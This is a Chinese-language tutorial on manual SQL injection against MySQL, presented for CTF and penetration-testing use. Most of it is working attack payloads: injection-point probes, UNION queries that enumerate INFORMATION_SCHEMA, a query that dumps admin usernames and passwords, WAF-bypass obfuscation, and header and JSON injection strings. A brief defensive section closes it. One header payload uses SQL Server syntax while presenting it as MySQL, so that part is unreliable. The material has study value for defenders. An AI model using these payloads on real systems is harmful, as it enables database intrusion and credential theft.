从INFORMATION_SCHEMA到数据窃取:MySQL手工注入实战手册
当大多数安全爱好者还在依赖sqlmap这类自动化工具时,真正的高手早已转向手工注入的深度探索。这不是为了炫技,而是为了在复杂环境中掌握主动权——自动化工具可能失效,但原理永远不会过时。
1. 为什么需要手工注入?
在CTF比赛或真实渗透测试中,我们常遇到三种典型场景:
- WAF拦截:自动化工具的特征被识别,导致请求被阻断
- 非常规注入点:非标准参数或复杂过滤机制使工具失效
- 精准控制需求:需要精细调整payload以绕过特定防御措施
手工注入的核心价值在于理解MySQL数据字典INFORMATION_SCHEMA的运作机制。这个系统数据库存储了所有元数据,包括:
- 数据库名(
SCHEMATA) - 表信息(
TABLES) - 列定义(
COLUMNS) - 权限信息(
USER_PRIVILEGES)
提示:MySQL 5.0+版本均内置INFORMATION_SCHEMA,但不同版本细节可能有差异
2. 手工注入四步法
2.1 探测与验证注入点
首先确认注入点的基本特性:
' AND 1=1 -- ' AND 1=2 -- ' OR '1'='1观察响应差异,特别注意:
- 错误信息是否暴露数据库结构
- 布尔状态下的内容变化
- 响应时间差异(时间盲注)
关键技巧:使用ORDER BY确定字段数:
' ORDER BY 5-- ' ORDER BY 10--当出现错误时,说明超出了实际字段数。
2.2 构建UNION查询框架
确定字段数后,构建基础UNION查询:
' UNION SELECT 1,2,3,4,5--观察哪些位置回显到页面,这将成为我们的信息展示窗口。
数据类型匹配表:
| 字段位置 | 推荐测试类型 | 说明 |
|---|---|---|
| 1 | NULL | 检测类型兼容性 |
| 2 | 'test' | 字符串类型验证 |
| 3 | @@version | 系统函数返回值 |
| 4 | 12345 | 数字类型验证 |
| 5 | CONCAT('a','b') | 函数执行能力验证 |
2.3 利用INFORMATION_SCHEMA提取结构
获取数据库列表:
' UNION SELECT 1,SCHEMA_NAME,3,4,5 FROM INFORMATION_SCHEMA.SCHEMATA--提取指定数据库的表信息:
' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4,5 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='目标数据库'--获取表结构详情:
' UNION SELECT 1,COLUMN_NAME,DATA_TYPE,4,5 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='目标表'--2.4 数据提取与优化
针对关键表执行数据提取:
' UNION SELECT 1,username,password,4,5 FROM admin--性能优化技巧:
- 使用
LIMIT分批次获取数据 - 通过
WHERE条件缩小范围 - 用
CONCAT_WS合并多列数据
3. 高级绕过技术
3.1 编码与混淆技术
当遇到基础过滤时,尝试:
' UNI/**/ON SEL/**/ECT 1,2,3-- 0x2720756e696f6e2073656c65637420312c322c332d2d20常用混淆方法对比:
| 技术类型 | 示例 | 适用场景 |
|---|---|---|
| 注释分割 | UNI//ON SEL//ECT | 关键字过滤 |
| 十六进制 | 0x... | 引号过滤 |
| 大小写变异 | uNiOn SeLeCt | 简单大小写敏感WAF |
| 空白符变异 | UNION%09SELECT | 空格过滤 |
3.2 非常规注入点利用
HTTP头注入:
X-Forwarded-For: ' AND 1=CONVERT(INT,@@version)--JSON注入:
{"id":"' UNION SELECT 1,@@version,3-- "}4. 手工vs自动化:实战对比
CTF靶场测试结果:
| 测试项 | 手工注入 | sqlmap |
|---|---|---|
| 探测时间 | 8分钟 | 2分钟 |
| 获取数据库名 | 需构造特定查询 | 自动枚举 |
| 绕过复杂WAF | 灵活调整payload | 可能失败 |
| 学习曲线 | 陡峭 | 平缓 |
| 可控性 | 精准控制每个环节 | 黑盒操作 |
典型手工注入过程记录:
- 发现搜索框存在字符型注入
- 确定字段数为3:
' ORDER BY 3-- # 正常 ' ORDER BY 4-- # 错误 - 确认回显位置:
' UNION SELECT 'pos1','pos2','pos3'-- - 提取数据库版本:
' UNION SELECT 1,@@version,3-- - 获取所有数据库:
' UNION SELECT 1,SCHEMA_NAME,3 FROM INFORMATION_SCHEMA.SCHEMATA--
5. 防御视角:如何保护你的系统
了解攻击手段才能更好防御。推荐防护措施:
- 参数化查询:永远不要拼接SQL
- 最小权限原则:应用数据库账户只应有必要权限
- 敏感信息加密:即使数据泄露也难解密
- WAF规则:针对INFORMATION_SCHEMA访问设置警报
在最近一次授权测试中,我们发现某系统虽然过滤了常见关键词,但通过以下方式仍可获取数据:
' UNI/**/ON SEL/**/ECT 1,table_name,3 FR/**/OM information_schema.tables--这种灵活的手工调整能力,正是自动化工具难以完全替代的。